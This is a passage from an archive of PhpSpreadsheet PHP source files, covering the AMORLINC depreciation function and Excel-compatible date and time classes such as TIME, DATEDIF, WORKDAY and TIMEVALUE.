$fNRate; } /** * AMORLINC. * * Returns the depreciation for each accounting period. * This function is provided for the French accounting system. If an asset is purchased in * the middle of the accounting period, the prorated depreciation is taken into account. * * Excel Function: * AMORLINC(cost,purchased,firstPeriod,salvage,period,rate[,basis]) * * @param mixed $cost The cost of the asset as a float * @param mixed $purchased Date of the purchase of the asset * @param mixed $firstPeriod Date of the end of the first period * @param mixed $salvage The salvage value at the end of the life of the asset * @param mixed $period The period as a float * @param mixed $rate Rate of depreciation as float * @param mixed $basis Integer indicating the type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string (string containing the error type if there is an error) */ public static function AMORLINC( mixed $cost, mixed $purchased, mixed $firstPeriod, mixed $salvage, mixed $period, mixed $rate, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $cost = Functions::flattenSingleValue($cost); $purchased = Functions::flattenSingleValue($purchased); $firstPeriod = Functions::flattenSingleValue($firstPeriod); $salvage = Functions::flattenSingleValue($salvage); $period = Functions::flattenSingleValue($period); $rate = Functions::flattenSingleValue($rate); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $cost = FinancialValidations::validateFloat($cost); $purchased = FinancialValidations::validateDate($purchased); $firstPeriod = FinancialValidations::validateDate($firstPeriod); $salvage = FinancialValidations::validateFloat($salvage); $period = FinancialValidations::validateFloat($period); $rate = FinancialValidations::validateFloat($rate); $basis = FinancialValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $fOneRate = $cost * $rate; $fCostDelta = $cost - $salvage; // Note, quirky variation for leap years on the YEARFRAC for this function $purchasedYear = DateTimeExcel\DateParts::year($purchased); $yearFracx = DateTimeExcel\YearFrac::fraction($purchased, $firstPeriod, $basis); if (is_string($yearFracx)) { return $yearFracx; } /** @var float $yearFrac */ $yearFrac = $yearFracx; if ( $basis == FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL && $yearFrac < 1 && DateTimeExcel\Helpers::isLeapYear(Functions::scalar($purchasedYear)) ) { $yearFrac *= 365 / 366; } $f0Rate = $yearFrac * $rate * $cost; $nNumOfFullPeriods = (int) (($cost - $salvage - $f0Rate) / $fOneRate); if ($period == 0) { return $f0Rate; } elseif ($period <= $nNumOfFullPeriods) { return $fOneRate; } elseif ($period == ($nNumOfFullPeriods + 1)) { return $fCostDelta - $fOneRate * $nNumOfFullPeriods - $f0Rate; } return 0.0; } private static function getAmortizationCoefficient(float $rate): float { // The depreciation coefficients are: // Life of assets (1/rate) Depreciation coefficient // Less than 3 years 1 // Between 3 and 4 years 1.5 // Between 5 and 6 years 2 // More than 6 years 2.5 $fUsePer = 1.0 / $rate; if ($fUsePer < 3.0) { return 1.0; } elseif ($fUsePer < 4.0) { return 1.5; } elseif ($fUsePer <= 6.0) { return 2.0; } return 2.5; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Time.php000064400000012356151676714400023600 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Time { use ArrayEnabled; /** * TIME. * * The TIME function returns a value that represents a particular time. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the time * format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * TIME(hour,minute,second) * * @param null|array|bool|float|int|string $hour A number from 0 (zero) to 32767 representing the hour. * Any value greater than 23 will be divided by 24 and the remainder * will be treated as the hour value. For example, TIME(27,0,0) = * TIME(3,0,0) = .125 or 3:00 AM. * @param null|array|bool|float|int|string $minute A number from 0 to 32767 representing the minute. * Any value greater than 59 will be converted to hours and minutes. * For example, TIME(0,750,0) = TIME(12,30,0) = .520833 or 12:30 PM. * @param null|array|bool|float|int|string $second A number from 0 to 32767 representing the second. * Any value greater than 59 will be converted to hours, minutes, * and seconds. For example, TIME(0,0,2000) = TIME(0,33,22) = .023148 * or 12:33:20 AM * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function fromHMS(array|int|float|bool|null|string $hour, array|int|float|bool|null|string $minute, array|int|float|bool|null|string $second): array|string|float|int|DateTime { if (is_array($hour) || is_array($minute) || is_array($second)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $hour, $minute, $second); } try { $hour = self::toIntWithNullBool($hour); $minute = self::toIntWithNullBool($minute); $second = self::toIntWithNullBool($second); } catch (Exception $e) { return $e->getMessage(); } self::adjustSecond($second, $minute); self::adjustMinute($minute, $hour); if ($hour > 23) { $hour = $hour % 24; } elseif ($hour < 0) { return ExcelError::NAN(); } // Execute function $retType = Functions::getReturnDateType(); if ($retType === Functions::RETURNDATE_EXCEL) { $calendar = SharedDateHelper::getExcelCalendar(); $date = (int) ($calendar !== SharedDateHelper::CALENDAR_WINDOWS_1900); return (float) SharedDateHelper::formattedPHPToExcel($calendar, 1, $date, $hour, $minute, $second); } if ($retType === Functions::RETURNDATE_UNIX_TIMESTAMP) { return (int) SharedDateHelper::excelToTimestamp(SharedDateHelper::formattedPHPToExcel(1970, 1, 1, $hour, $minute, $second)); // -2147468400; // -2147472000 + 3600 } // RETURNDATE_PHP_DATETIME_OBJECT // Hour has already been normalized (0-23) above $phpDateObject = new DateTime('1900-01-01 ' . $hour . ':' . $minute . ':' . $second); return $phpDateObject; } private static function adjustSecond(int &$second, int &$minute): void { if ($second < 0) { $minute += floor($second / 60); $second = 60 - abs($second % 60); if ($second == 60) { $second = 0; } } elseif ($second >= 60) { $minute += floor($second / 60); $second = $second % 60; } } private static function adjustMinute(int &$minute, int &$hour): void { if ($minute < 0) { $hour += floor($minute / 60); $minute = 60 - abs($minute % 60); if ($minute == 60) { $minute = 0; } } elseif ($minute >= 60) { $hour += floor($minute / 60); $minute = $minute % 60; } } /** * @param mixed $value expect int */ private static function toIntWithNullBool(mixed $value): int { $value = $value ?? 0; if (is_bool($value)) { $value = (int) $value; } if (!is_numeric($value)) { throw new Exception(ExcelError::VALUE()); } return (int) $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/TimeParts.php000064400000011140151676714400024600 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class TimeParts { use ArrayEnabled; /** * HOUROFDAY. * * Returns the hour of a time value. * The hour is given as an integer, ranging from 0 (12:00 A.M.) to 23 (11:00 P.M.). * * Excel Function: * HOUR(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * Or can be an array of date/time values * * @return array|int|string Hour * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function hour(mixed $timeValue): array|string|int { if (is_array($timeValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $timeValue); } try { Helpers::nullFalseTrueToNumber($timeValue); if (!is_numeric($timeValue)) { $timeValue = Helpers::getTimeValue($timeValue); } Helpers::validateNotNegative($timeValue); } catch (Exception $e) { return $e->getMessage(); } // Execute function $timeValue = fmod($timeValue, 1); $timeValue = SharedDateHelper::excelToDateTimeObject($timeValue); SharedDateHelper::roundMicroseconds($timeValue); return (int) $timeValue->format('H'); } /** * MINUTE. * * Returns the minutes of a time value. * The minute is given as an integer, ranging from 0 to 59. * * Excel Function: * MINUTE(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * Or can be an array of date/time values * * @return array|int|string Minute * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function minute(mixed $timeValue): array|string|int { if (is_array($timeValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $timeValue); } try { Helpers::nullFalseTrueToNumber($timeValue); if (!is_numeric($timeValue)) { $timeValue = Helpers::getTimeValue($timeValue); } Helpers::validateNotNegative($timeValue); } catch (Exception $e) { return $e->getMessage(); } // Execute function $timeValue = fmod($timeValue, 1); $timeValue = SharedDateHelper::excelToDateTimeObject($timeValue); SharedDateHelper::roundMicroseconds($timeValue); return (int) $timeValue->format('i'); } /** * SECOND. * * Returns the seconds of a time value. * The minute is given as an integer, ranging from 0 to 59. * * Excel Function: * SECOND(timeValue) * * @param mixed $timeValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard time string * Or can be an array of date/time values * * @return array|int|string Second * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function second(mixed $timeValue): array|string|int { if (is_array($timeValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $timeValue); } try { Helpers::nullFalseTrueToNumber($timeValue); if (!is_numeric($timeValue)) { $timeValue = Helpers::getTimeValue($timeValue); } Helpers::validateNotNegative($timeValue); } catch (Exception $e) { return $e->getMessage(); } // Execute function $timeValue = fmod($timeValue, 1); $timeValue = SharedDateHelper::excelToDateTimeObject($timeValue); SharedDateHelper::roundMicroseconds($timeValue); return (int) $timeValue->format('s'); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/DateParts.php000064400000012532151676714400024565 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class DateParts { use ArrayEnabled; /** * DAYOFMONTH. * * Returns the day of the month, for a specified date. The day is given as an integer * ranging from 1 to 31. * * Excel Function: * DAY(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * * @return array|int|string Day of the month * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function day(mixed $dateValue): array|int|string { if (is_array($dateValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $dateValue); } $weirdResult = self::weirdCondition($dateValue); if ($weirdResult >= 0) { return $weirdResult; } try { $dateValue = Helpers::getDateValue($dateValue); } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); SharedDateHelper::roundMicroseconds($PHPDateObject); return (int) $PHPDateObject->format('j'); } /** * MONTHOFYEAR. * * Returns the month of a date represented by a serial number. * The month is given as an integer, ranging from 1 (January) to 12 (December). * * Excel Function: * MONTH(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * * @return array|int|string Month of the year * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function month(mixed $dateValue): array|string|int { if (is_array($dateValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $dateValue); } try { $dateValue = Helpers::getDateValue($dateValue); } catch (Exception $e) { return $e->getMessage(); } if ($dateValue < 1 && SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_WINDOWS_1900) { return 1; } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); SharedDateHelper::roundMicroseconds($PHPDateObject); return (int) $PHPDateObject->format('n'); } /** * YEAR. * * Returns the year corresponding to a date. * The year is returned as an integer in the range 1900-9999. * * Excel Function: * YEAR(dateValue) * * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * * @return array|int|string Year * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function year(mixed $dateValue): array|string|int { if (is_array($dateValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $dateValue); } try { $dateValue = Helpers::getDateValue($dateValue); } catch (Exception $e) { return $e->getMessage(); } if ($dateValue < 1 && SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_WINDOWS_1900) { return 1900; } // Execute function $PHPDateObject = SharedDateHelper::excelToDateTimeObject($dateValue); SharedDateHelper::roundMicroseconds($PHPDateObject); return (int) $PHPDateObject->format('Y'); } /** * @param mixed $dateValue Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string */ private static function weirdCondition(mixed $dateValue): int { // Excel does not treat 0 consistently for DAY vs. (MONTH or YEAR) if (SharedDateHelper::getExcelCalendar() === SharedDateHelper::CALENDAR_WINDOWS_1900 && Functions::getCompatibilityMode() == Functions::COMPATIBILITY_EXCEL) { if (is_bool($dateValue)) { return (int) $dateValue; } if ($dateValue === null) { return 0; } if (is_numeric($dateValue) && $dateValue < 1 && $dateValue >= 0) { return 0; } } return -1; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Constants.php000064400000002117151676714400024650 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; class Constants { // Constants currently used by WeekNum; will eventually be used by WEEKDAY const STARTWEEK_SUNDAY = 1; const STARTWEEK_MONDAY = 2; const STARTWEEK_MONDAY_ALT = 11; const STARTWEEK_TUESDAY = 12; const STARTWEEK_WEDNESDAY = 13; const STARTWEEK_THURSDAY = 14; const STARTWEEK_FRIDAY = 15; const STARTWEEK_SATURDAY = 16; const STARTWEEK_SUNDAY_ALT = 17; const DOW_SUNDAY = 1; const DOW_MONDAY = 2; const DOW_TUESDAY = 3; const DOW_WEDNESDAY = 4; const DOW_THURSDAY = 5; const DOW_FRIDAY = 6; const DOW_SATURDAY = 7; const STARTWEEK_MONDAY_ISO = 21; const METHODARR = [ self::STARTWEEK_SUNDAY => self::DOW_SUNDAY, self::DOW_MONDAY, self::STARTWEEK_MONDAY_ALT => self::DOW_MONDAY, self::DOW_TUESDAY, self::DOW_WEDNESDAY, self::DOW_THURSDAY, self::DOW_FRIDAY, self::DOW_SATURDAY, self::DOW_SUNDAY, self::STARTWEEK_MONDAY_ISO => self::STARTWEEK_MONDAY_ISO, ]; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Current.php000064400000004511151676714400024316 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use DateTimeImmutable; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Current { /** * DATENOW. * * Returns the current date. * The NOW function is useful when you need to display the current date and time on a worksheet or * calculate a value based on the current date and time, and have that value updated each time you * open the worksheet. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * and time format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * TODAY() * * @return DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function today(): DateTime|float|int|string { $dti = new DateTimeImmutable(); $dateArray = Helpers::dateParse($dti->format('c')); return Helpers::dateParseSucceeded($dateArray) ? Helpers::returnIn3FormatsArray($dateArray, true) : ExcelError::VALUE(); } /** * DATETIMENOW. * * Returns the current date and time. * The NOW function is useful when you need to display the current date and time on a worksheet or * calculate a value based on the current date and time, and have that value updated each time you * open the worksheet. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the date * and time format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * NOW() * * @return DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag */ public static function now(): DateTime|float|int|string { $dti = new DateTimeImmutable(); $dateArray = Helpers::dateParse($dti->format('c')); return Helpers::dateParseSucceeded($dateArray) ? Helpers::returnIn3FormatsArray($dateArray) : ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/TimeValue.php000064400000007016151676714400024572 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use Datetime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class TimeValue { use ArrayEnabled; /** * TIMEVALUE. * * Returns a value that represents a particular time. * Use TIMEVALUE to convert a time represented by a text string to an Excel or PHP date/time stamp * value. * * NOTE: When used in a Cell Formula, MS Excel changes the cell format so that it matches the time * format of your regional settings. PhpSpreadsheet does not change cell formatting in this way. * * Excel Function: * TIMEVALUE(timeValue) * * @param null|array|bool|float|int|string $timeValue A text string that represents a time in any one of the Microsoft * Excel time formats; for example, "6:45 PM" and "18:45" text strings * within quotation marks that represent time. * Date information in time_text is ignored. * Or can be an array of date/time values * * @return array|Datetime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of numbers is passed as the argument, then the returned result will also be an array * with the same dimensions */ public static function fromString(null|array|string|int|bool|float $timeValue): array|string|Datetime|int|float { if (is_array($timeValue)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $timeValue); } // try to parse as time iff there is at least one digit if (is_string($timeValue) && preg_match('/\\d/', $timeValue) !== 1) { return ExcelError::VALUE(); } $timeValue = trim((string) $timeValue, '"'); $timeValue = str_replace(['/', '.'], '-', $timeValue); $arraySplit = preg_split('/[\/:\-\s]/', $timeValue) ?: []; if ((count($arraySplit) == 2 || count($arraySplit) == 3) && $arraySplit[0] > 24) { $arraySplit[0] = ($arraySplit[0] % 24); $timeValue = implode(':', $arraySplit); } $PHPDateArray = Helpers::dateParse($timeValue); $retValue = ExcelError::VALUE(); if (Helpers::dateParseSucceeded($PHPDateArray)) { $hour = $PHPDateArray['hour']; $minute = $PHPDateArray['minute']; $second = $PHPDateArray['second']; // OpenOffice-specific code removed - it works just like Excel $excelDateValue = SharedDateHelper::formattedPHPToExcel(1900, 1, 1, $hour, $minute, $second) - 1; $retType = Functions::getReturnDateType(); if ($retType === Functions::RETURNDATE_EXCEL) { $retValue = (float) $excelDateValue; } elseif ($retType === Functions::RETURNDATE_UNIX_TIMESTAMP) { $retValue = (int) SharedDateHelper::excelToTimestamp($excelDateValue + 25569) - 3600; } else { $retValue = new Datetime('1900-01-01 ' . $PHPDateArray['hour'] . ':' . $PHPDateArray['minute'] . ':' . $PHPDateArray['second']); } } return $retValue; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/WorkDay.php000064400000016463151676714400024265 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; class WorkDay { use ArrayEnabled; /** * WORKDAY. * * Returns the date that is the indicated number of working days before or after a date (the * starting date). Working days exclude weekends and any dates identified as holidays. * Use WORKDAY to exclude weekends or holidays when you calculate invoice due dates, expected * delivery times, or the number of days of work performed. * * Excel Function: * WORKDAY(startDate,endDays[,holidays[,holiday[,...]]]) * * @param array|mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|int $endDays The number of nonweekend and nonholiday days before or after * startDate. A positive value for days yields a future date; a * negative value yields a past date. * Or can be an array of int values * @param null|mixed $dateArgs An array of dates (such as holidays) to exclude from the calculation * * @return array|DateTime|float|int|string Excel date/time serial value, PHP date/time serial value or PHP date/time object, * depending on the value of the ReturnDateType flag * If an array of values is passed for the $startDate or $endDays,arguments, then the returned result * will also be an array with matching dimensions */ public static function date(mixed $startDate, array|int|string $endDays, mixed ...$dateArgs): array|float|int|DateTime|string { if (is_array($startDate) || is_array($endDays)) { return self::evaluateArrayArgumentsSubset( [self::class, __FUNCTION__], 2, $startDate, $endDays, ...$dateArgs ); } // Retrieve the mandatory start date and days that are referenced in the function definition try { $startDate = Helpers::getDateValue($startDate); $endDays = Helpers::validateNumericNull($endDays); $holidayArray = array_map([Helpers::class, 'getDateValue'], Functions::flattenArray($dateArgs)); } catch (Exception $e) { return $e->getMessage(); } $startDate = (float) floor($startDate); $endDays = (int) floor($endDays); // If endDays is 0, we always return startDate if ($endDays == 0) { return $startDate; } if ($endDays < 0) { return self::decrementing($startDate, $endDays, $holidayArray); } return self::incrementing($startDate, $endDays, $holidayArray); } /** * Use incrementing logic to determine Workday. */ private static function incrementing(float $startDate, int $endDays, array $holidayArray): float|int|DateTime { // Adjust the start date if it falls over a weekend $startDoW = self::getWeekDay($startDate, 3); if ($startDoW >= 5) { $startDate += 7 - $startDoW; --$endDays; } // Add endDays $endDate = (float) $startDate + ((int) ($endDays / 5) * 7); $endDays = $endDays % 5; while ($endDays > 0) { ++$endDate; // Adjust the calculated end date if it falls over a weekend $endDow = self::getWeekDay($endDate, 3); if ($endDow >= 5) { $endDate += 7 - $endDow; } --$endDays; } // Test any extra holiday parameters if (!empty($holidayArray)) { $endDate = self::incrementingArray($startDate, $endDate, $holidayArray); } return Helpers::returnIn3FormatsFloat($endDate); } private static function incrementingArray(float $startDate, float $endDate, array $holidayArray): float { $holidayCountedArray = $holidayDates = []; foreach ($holidayArray as $holidayDate) { if (self::getWeekDay($holidayDate, 3) < 5) { $holidayDates[] = $holidayDate; } } sort($holidayDates, SORT_NUMERIC); foreach ($holidayDates as $holidayDate) { if (($holidayDate >= $startDate) && ($holidayDate <= $endDate)) { if (!in_array($holidayDate, $holidayCountedArray)) { ++$endDate; $holidayCountedArray[] = $holidayDate; } } // Adjust the calculated end date if it falls over a weekend $endDoW = self::getWeekDay($endDate, 3); if ($endDoW >= 5) { $endDate += 7 - $endDoW; } } return $endDate; } /** * Use decrementing logic to determine Workday. */ private static function decrementing(float $startDate, int $endDays, array $holidayArray): float|int|DateTime { // Adjust the start date if it falls over a weekend $startDoW = self::getWeekDay($startDate, 3); if ($startDoW >= 5) { $startDate += -$startDoW + 4; ++$endDays; } // Add endDays $endDate = (float) $startDate + ((int) ($endDays / 5) * 7); $endDays = $endDays % 5; while ($endDays < 0) { --$endDate; // Adjust the calculated end date if it falls over a weekend $endDow = self::getWeekDay($endDate, 3); if ($endDow >= 5) { $endDate += 4 - $endDow; } ++$endDays; } // Test any extra holiday parameters if (!empty($holidayArray)) { $endDate = self::decrementingArray($startDate, $endDate, $holidayArray); } return Helpers::returnIn3FormatsFloat($endDate); } private static function decrementingArray(float $startDate, float $endDate, array $holidayArray): float { $holidayCountedArray = $holidayDates = []; foreach ($holidayArray as $holidayDate) { if (self::getWeekDay($holidayDate, 3) < 5) { $holidayDates[] = $holidayDate; } } rsort($holidayDates, SORT_NUMERIC); foreach ($holidayDates as $holidayDate) { if (($holidayDate <= $startDate) && ($holidayDate >= $endDate)) { if (!in_array($holidayDate, $holidayCountedArray)) { --$endDate; $holidayCountedArray[] = $holidayDate; } } // Adjust the calculated end date if it falls over a weekend $endDoW = self::getWeekDay($endDate, 3); /** int $endDoW */ if ($endDoW >= 5) { $endDate += -$endDoW + 4; } } return $endDate; } private static function getWeekDay(float $date, int $wd): int { $result = Functions::scalar(Week::day($date, $wd)); return is_int($result) ? $result : -1; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Difference.php000064400000013637151676714400024737 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use DateInterval; use DateTime; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Difference { use ArrayEnabled; /** * DATEDIF. * * @param mixed $startDate Excel date serial value, PHP date/time stamp, PHP DateTime object * or a standard date string * Or can be an array of date values * @param mixed $endDate Excel date serial value, PHP date/time stamp, PHP DateTime object * or a standard date string * Or can be an array of date values * @param array|string $unit Or can be an array of unit values * * @return array|int|string Interval between the dates * If an array of values is passed for the $startDate or $endDays,arguments, then the returned result * will also be an array with matching dimensions */ public static function interval(mixed $startDate, mixed $endDate, array|string $unit = 'D') { if (is_array($startDate) || is_array($endDate) || is_array($unit)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $startDate, $endDate, $unit); } try { $startDate = Helpers::getDateValue($startDate); $endDate = Helpers::getDateValue($endDate); $difference = self::initialDiff($startDate, $endDate); $unit = strtoupper($unit); } catch (Exception $e) { return $e->getMessage(); } // Execute function $PHPStartDateObject = SharedDateHelper::excelToDateTimeObject($startDate); $startDays = (int) $PHPStartDateObject->format('j'); //$startMonths = (int) $PHPStartDateObject->format('n'); $startYears = (int) $PHPStartDateObject->format('Y'); $PHPEndDateObject = SharedDateHelper::excelToDateTimeObject($endDate); $endDays = (int) $PHPEndDateObject->format('j'); //$endMonths = (int) $PHPEndDateObject->format('n'); $endYears = (int) $PHPEndDateObject->format('Y'); $PHPDiffDateObject = $PHPEndDateObject->diff($PHPStartDateObject); $retVal = false; $retVal = self::replaceRetValue($retVal, $unit, 'D') ?? self::datedifD($difference); $retVal = self::replaceRetValue($retVal, $unit, 'M') ?? self::datedifM($PHPDiffDateObject); $retVal = self::replaceRetValue($retVal, $unit, 'MD') ?? self::datedifMD($startDays, $endDays, $PHPEndDateObject, $PHPDiffDateObject); $retVal = self::replaceRetValue($retVal, $unit, 'Y') ?? self::datedifY($PHPDiffDateObject); $retVal = self::replaceRetValue($retVal, $unit, 'YD') ?? self::datedifYD($difference, $startYears, $endYears, $PHPStartDateObject, $PHPEndDateObject); $retVal = self::replaceRetValue($retVal, $unit, 'YM') ?? self::datedifYM($PHPDiffDateObject); return is_bool($retVal) ? ExcelError::VALUE() : $retVal; } private static function initialDiff(float $startDate, float $endDate): float { // Validate parameters if ($startDate > $endDate) { throw new Exception(ExcelError::NAN()); } return $endDate - $startDate; } /** * Decide whether it's time to set retVal. */ private static function replaceRetValue(bool|int $retVal, string $unit, string $compare): null|bool|int { if ($retVal !== false || $unit !== $compare) { return $retVal; } return null; } private static function datedifD(float $difference): int { return (int) $difference; } private static function datedifM(DateInterval $PHPDiffDateObject): int { return 12 * (int) $PHPDiffDateObject->format('%y') + (int) $PHPDiffDateObject->format('%m'); } private static function datedifMD(int $startDays, int $endDays, DateTime $PHPEndDateObject, DateInterval $PHPDiffDateObject): int { if ($endDays < $startDays) { $retVal = $endDays; $PHPEndDateObject->modify('-' . $endDays . ' days'); $adjustDays = (int) $PHPEndDateObject->format('j'); $retVal += ($adjustDays - $startDays); } else { $retVal = (int) $PHPDiffDateObject->format('%d'); } return $retVal; } private static function datedifY(DateInterval $PHPDiffDateObject): int { return (int) $PHPDiffDateObject->format('%y'); } private static function datedifYD(float $difference, int $startYears, int $endYears, DateTime $PHPStartDateObject, DateTime $PHPEndDateObject): int { $retVal = (int) $difference; if ($endYears > $startYears) { $isLeapStartYear = $PHPStartDateObject->format('L'); $wasLeapEndYear = $PHPEndDateObject->format('L'); // Adjust end year to be as close as possible as start year while ($PHPEndDateObject >= $PHPStartDateObject) { $PHPEndDateObject->modify('-1 year'); //$endYears = $PHPEndDateObject->format('Y'); } $PHPEndDateObject->modify('+1 year'); // Get the result $retVal = (int) $PHPEndDateObject->diff($PHPStartDateObject)->days; // Adjust for leap years cases $isLeapEndYear = $PHPEndDateObject->format('L'); $limit = new DateTime($PHPEndDateObject->format('Y-02-29')); if (!$isLeapStartYear && !$wasLeapEndYear && $isLeapEndYear && $PHPEndDateObject >= $limit) { --$retVal; } } return (int) $retVal; } private static function datedifYM(DateInterval $PHPDiffDateObject): int { return (int) $PHPDiffDateObject->format('%m'); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/DateTimeExcel/Days360.php000064400000012311151676714400024022 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\Date as SharedDateHelper; class Days360 { use ArrayEnabled; /** * DAYS360. * * Returns the number of days between two dates based on a 360-day year (twelve 30-day months), * which is used in some accounting calculations. Use this function to help compute payments if * your accounting system is based on twelve 30-day months. * * Excel Function: * DAYS360(startDate,endDate[,method]) * * @param array|mixed $startDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|mixed $endDate Excel date serial value (float), PHP date timestamp (integer), * PHP DateTime object, or a standard date string * Or can be an array of date values * @param array|mixed $method US or European Method as a bool * FALSE or omitted: U.S. (NASD) method. If the starting date is * the last day of a month, it becomes equal to the 30th of the * same month. If the ending date is the last day of a month and * the starting date is earlier than the 30th of a month, the * ending date becomes equal to the 1st of the next month; * otherwise the ending date becomes equal to the 30th of the * same month. * TRUE: European method. Starting dates and ending dates that * occur on the 31st of a month become equal to the 30th of the * same month. * Or can be an array of methods * * @return array|int|string Number of days between start date and end date * If an array of values is passed for the $startDate or $endDays,arguments, then the returned result * will also be an array with matching dimensions */ public static function between(mixed $startDate = 0, mixed 